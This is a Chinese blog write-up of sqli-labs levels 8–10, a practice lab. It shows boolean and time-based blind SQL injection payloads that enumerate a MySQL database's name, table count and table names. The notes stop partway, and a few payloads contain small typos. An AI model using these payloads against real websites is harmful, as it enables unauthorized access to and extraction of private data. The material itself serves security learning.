sqli—labs(8到10关)盲注

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。

Less—8(布尔型单引号盲注)
方法:布尔型盲注
在网页中打开
在这里插入图片描述
没有任何提示,因为它把错误信息隐藏了,所以并不能用基于错误的注入,只能用盲注。

盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
首先要记得常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57

首先select database()查询数据库
ascii(substr((select database()),1,1)):返回数据库名称的第一个字母,转化为ascii码
ascii(substr((select database()),1,1))>64:ascii大于64就返回true,if就返回1,否则返回0.
1,先得到数据库名的长度
输入?id=1' and length(database())=1%23

在这里插入图片描述没有成功显示,于是试了2,3,4,5,6,7,直到8,它成功显示了,说明数据库名的长度为8,即有8个字母
在这里插入图片描述

2,现在我们猜数据库名的第一个字母
输入?id=1" and ascii(substr((select database()),1,1))>114 %23
在这里插入图片描述可见数据库名的第一个字母的ascii码值大于114,接下来我们再试试115
在这里插入图片描述显示错误,所以可以推断第一个字母为 s ,然后依次进行下去就可以猜取数据库名为security

或者还可以输入?id=1' and left(database(),1)='s' %23

在这里插入图片描述成功显示,所以数据库名的第一个字母为 s
在这里插入图片描述3.获取数据库中表的数目

输入1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 %23
依次让它等于1,2,3一直显示不成功,直到4,显示成功,则数据库中有四个表

4,挨个猜表名
先猜第一个表的长度
输入?id=1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6%23
成功显示,则第一个表的长度为6
猜第二个表的长度
?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=8%23
成功显示,则第二个表的长度为8
猜第三个表的长度
?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1))=7%23
成功显示,则第三个表的长度为7
猜第四个表的长度?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1))=5%23
成功显示,则第四个表的长度为5

enmmmmmmm,想了想还是放张截图上来,其实每个表的长度都要试好几个数字,我在这里只展示了自己试成功的结果。
在这里插入图片描述得到每个表的长度后,开始猜表名,(以猜第四个表为例)

输入?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>97 %23
成功显示
输入?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))<122%23
成功显示
输入?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))<109%23
显示失败
输入?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>109%23
成功显示
输入?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))<115%23
显示失败
输入?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))<119%23
成功显示
输入?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117%23
在这里插入图片描述
成功显示,则第四个表的第一个字母为u,依次进行下去,可得表名分别为emails,referers,uagents,users

5.获取表里的列名

先获取表里有几个列(以 users 表为例)
在这里插入图片描述可以发现users表里有26个列,总感觉哪里不太对

下面来获取第一列的列名的长度

Less-9 (基于时间的GET单引号盲注)
无论输入甚麽,都显示 You are in…
在这里插入图片描述
1,输入?id=1' and sleep(3)%23

输入id=1时,发现延迟,说明注入成功

2,输入?id=1'and if(length(database())=8,sleep(6),1)%23

明显延迟,说明数据库长度为8

3,继续爆破
?id=1'and if (left(database(),1)='s',sleep(6),1)%23
?id=1'and if (right(database(),1)='y',sleep(6),1)%23
发现均有延迟,则第一个字母为s,最后一个字母为y
输入
?id=1'and if (left(database(),2)='se',sleep(6),1)%23
?id=1'and if (left(database(),8)='security',sleep(6),1)%23
说明数据库名为security
4,
输入?id=1'and if (left((select table_name from information_schema.tables where table_schema=database() limit3,1),1)='u',sleep(6),1)%23
Less-10(基于时间的双引号盲注)
与第9关一样,不过是把单引号换成双引号

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值